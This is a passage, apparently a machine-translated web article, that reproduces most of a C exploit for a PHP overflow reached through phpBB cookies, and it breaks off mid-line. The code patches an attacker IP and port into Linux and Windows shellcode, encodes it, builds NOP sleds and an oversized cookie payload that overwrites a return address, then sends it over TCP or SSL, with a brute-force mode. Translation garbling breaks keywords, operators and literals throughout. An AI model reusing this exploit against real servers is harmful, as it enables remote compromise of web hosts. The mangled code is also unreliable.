PHP function overflow in Popular Science (II)

Surging clouds

Next to the Code:


Int find_safe_offset (int INT_A ){

Int INT_ B = 0;

Do {
INT_A-= 0x01010101; INT_ B + = 0x01010101;
}
While (INT_A & 0x000000ff) = 0) |
(INT_A & 0x0000ff00) = 0) |
(INT_A & 0x00ff0000) = 0) |
(INT_A & 0xff000000) = 0 ));

Return INT_ B;
}

Void patchcode (char * IP, int PORT ){
/* Linux shellcode use */
Int IP_A = inet_addr (IP );
Int IP_ B = find_safe_offset (IP_A );

Int PORT_A = (ntohs (PORT) <16) + 2 );
Int PORT_ B = find_safe_offset (PORT_A );

* (Int *) & linux_ SC [19] = (IP_A-IP_ B );
* (Int *) & linux_ SC [26] = IP_ B;

* (Int *) & linux_ SC [31] = (PORT_A-PORT_ B );
* (Int *) & linux_ SC [38] = PORT_ B;

}





Void win_patchcode (char * ip, int port ){
Char * p = NULL;
Int I;

I = inet_addr (ip );
P = (char *) & I;
// Make shellcode
Win_realsc [160] = p [0];
Win_realsc [1, 161] = p [1];
Win_realsc [162] = p [2];
Win_realsc [163] = p [3];

// Printf ("ip = % s", ip );

P = (char *) & port;
Win_realsc [1, 166] = p [1];
Win_realsc [167] = p [0];

// Printf ("p = % s", ip );

For (I = 0; I <sizeof (win_realsc); I ++)
{
Win_realsc [I] = win_realsc [I] ^ 0xB8;
If (win_realsc [I] = 0x00 |
Win_realsc [I] = |
Win_realsc [I] = |
// Win_ SC [I] =/|
// Win_ SC [I] = |
Win_realsc [I] ==@| |
Win_realsc [I] = |
// Win_ SC [I] ==<||
// Win_ SC [I] ==>||
Win_realsc [I] = ")
{
Printf ("win_realsc [% d]: % c is a bad char! Rpwt, hahaha ~~ ", I, win_realsc [I]);
// Return-1;
}
}

Memset (win_ SC, x90, sizeof (win_ SC ));
// PrintSc (win_ SC, strlen (win_ SC ));

Strcpy (win_ SC + 20, decode );
Strcpy (win_ SC + 20 + strlen (decode), win_realsc );
Strcpy (win_ SC + 20 + strlen (decode) + strlen (win_realsc), end_mark );
// PrintSc (win_ SC, strlen (win_ SC ));

}


// Print shellcode
Void PrintSc (unsigned char * lpBuff, int buffsize)
{
Int I, j;
Char * p;
Char msg [4];

Printf ("/* % d bytes */", buffsize );
For (I = 0; I <buffsize; I ++)
{
If (I % 16) = 0 ){
If (I! = 0 ){
Printf ("""");
}
Else {
Printf (""");
}
}
Sprintf (msg, "\ x %. 2X", lpBuff [I] & 0xff );
For (p = msg, j = 0; j <4; p ++, j ++)
{
If (isupper (* p ))
Printf ("% c", _ tolower (* p ));
Else
Printf ("% c", p [0]);
}
}
Printf ("";");
}



Void fill_shellcode (char * buff, size_t len, int SC _t)
{
Int I;

If (SC _t = 1) {// win shellcode
For (I = 1; I <len/2048; I ++ ){
Memcpy (buff + (I * 2048), "x90x41x90x41", 4 );
Memcpy (buff + (I * 2048) + 4, win_ SC, strlen (win_ SC ));
}
}
Else {// linux shellcode
For (I = 1; I <len/2048; I ++ ){
Memcpy (buff + (I * 2048), "x90x41x90x41", 4 );
Memcpy (buff + (I * 2048) + 4, linux_ SC, strlen (linux_ SC ));
}

}

Return;
}

Void fill_address (int retaddr)
{
Int I;

Memset (address, 0x00, sizeof (address ));
For (I = 0; I <4; I ++ ){
Sprintf (address + (I * 3), "% 02X", (retaddr> (I * 8) & 0xff );
}

// Hexdump (address, strlen (address ));

Return;
}

Int build_cookies (int cookie_type)
{
Int refcnt = 1000;
Int refmax = 65535;
Int I;

// Choose to use win hashtable egghunter or linux egghunter
If (cookie_type = 0 ){
Cookie_end = linux_cookie_end;
}
Else {
Cookie_end = win_cookie_end;
}



// Fprintf (stderr, "Code fills: % d", strlen (sp ));
// Buffer overflow here huh: P
Sprintf (cp, head, phpfile, hostName, strlen (sp ));

// Printf ("% s", cp );
// Prefix
Memcpy (cp + strlen (cp), "Cookie:", 8 );
Memcpy (cp + strlen (cp), phpbbcookie, strlen (phpbbcookie ));
Memcpy (cp + strlen (cp), cookie1, strlen (cookie1 ));
// Hexdump (cp, strlen (cp ));
// * 500
For (I = 0; I <500; I ++)
Memcpy (cp + strlen (cp), zvalref, strlen (zvalref ));
// End
Memcpy (cp + strlen (cp), cookie1end, strlen (cookie1end ));

// Fprintf (stderr, "sending cookies ");
While (refcnt <refmax ){
Memset (ap, 0x00, 0x9000 );
Memcpy (ap, cookie_prefix, strlen (cookie_prefix ));

For (I = 0; I <= 679; I ++)
{
If (refcnt> = refmax ){
Break;
}

Refcnt + = 1;
Memcpy (ap + strlen (ap), zvalref, strlen (zvalref ));
}

Memcpy (ap + strlen (ap), zvalend, strlen (zvalend ));
Memcpy (cp + strlen (cp), ap, strlen (ap ));

}

Memcpy (cp + strlen (cp), cookie_prefix1, strlen (cookie_prefix1 ));
// * 500
For (I = 0; I <500; I ++)
Memcpy (cp + strlen (cp), zvalref, strlen (zvalref ));

// Fprintf (stderr, "len: % d len2: % d", strlen (cp), strlen (cp)-strlen (phpfile)-strlen (hostName ));
Memcpy (cp + strlen (cp), cookie_end, strlen (cookie_end ));
Memcpy (cp + strlen (cp), sp, strlen (sp ));

Return 0;
}

Static void normal_exploiting (int target)
{
Int sock;
Char buff [1024];

Cp = xmalloc (0x999000 );
Memset (cp, 0x00, 0x999000 );

Ap = xmalloc (0x90000 );

Sp = xmalloc (0x240001 );
Memset (sp, 0x00, 0x240001 );
Memset (sp, 0x90, 0x240000 );

Fill_shellcode (sp, 0x240000, targets [target-1]. SC _type );
Build_cookies (targets [target-1]. SC _type );

If (targets [target-1]. SC _type = 1) {// windows
Memcpy (cp + 788956 + strlen (phpbbcookie) + strlen (hostName) + strlen (phpfile) + 147, address, strlen (address ));
// Fill a pointer addr
Memcpy (cp + 788956 + strlen (phpbbcookie) + strlen (hostName) + strlen (phpfile) + 127, targets [target-1]. ptraddr, strlen (targets [target-1]. ptraddr ));

}
Else {// linux
Memcpy (cp + 788956 + strlen (phpbbcookie) + strlen (hostName) + strlen (phpfile) + 147, address, strlen (address ));
}

If (sock = tcpConnect (hostName, port, (timeout-timeout/2) * 1000) <= 0 ){
Fatal ("cant connect ");
Return;
}

If (ssl_mode ){
Init_ssl ();
Do_ssl_connect (sock );
}

// Getchar ();

// Fprintf (stderr, "sending shits: % d", strlen (cp ));

If (writeData (sock, cp, strlen (cp) <0 ){
Fatal ("error to send exploit data .");
Exit (EXIT_FAILURE );
}


Memset (buff, 0x00, sizeof (buff ));
If (readData (sock, buff, sizeof (buff) <= 0 ){
// Check_successed (sock );
} Else {
// Fatal ("Target is not exploitable. quit .");
Printf ("% s", buff );
Exit (EXIT_FAILURE );
}

If (sock ){
Close (sock );
Sock =-1;
}


If (ssl_mode ){
If (ssl ){
SSL_shutdown (ssl );
Ssl = NULL;
}

If (ctx ){
SSL_CTX_free (ctx );
Ctx = NULL;
}
}

If (ap)
Free (ap );

If (cp)
Free (cp );

If (sp) free (sp );

Return;

}

Static void brute_exploiting (int addr, int target, int fuckmode, int brute_timeout, int brute_step)
{
Int I, sock;
Char buff [1024];

Cp = xmalloc (0x999000 );
Memset (cp, 0x00, 0x999000 );

Ap = xmalloc (0x90000 );

Sp = xmalloc (0x240001 );
Memset (sp, 0x00, 0x240001 );
Memset (sp, 0x90, 0x240000 );

// Fill_shellcode (sp, 0x240000, 0 );
// Build_cookies (0 );
Fill_shellcode (sp, 0x240000, targets [target-1]. SC _type );
Build_cookies (targets [target-1]. SC _type );

Fprintf (stderr, "***** attack to % s: % d", hos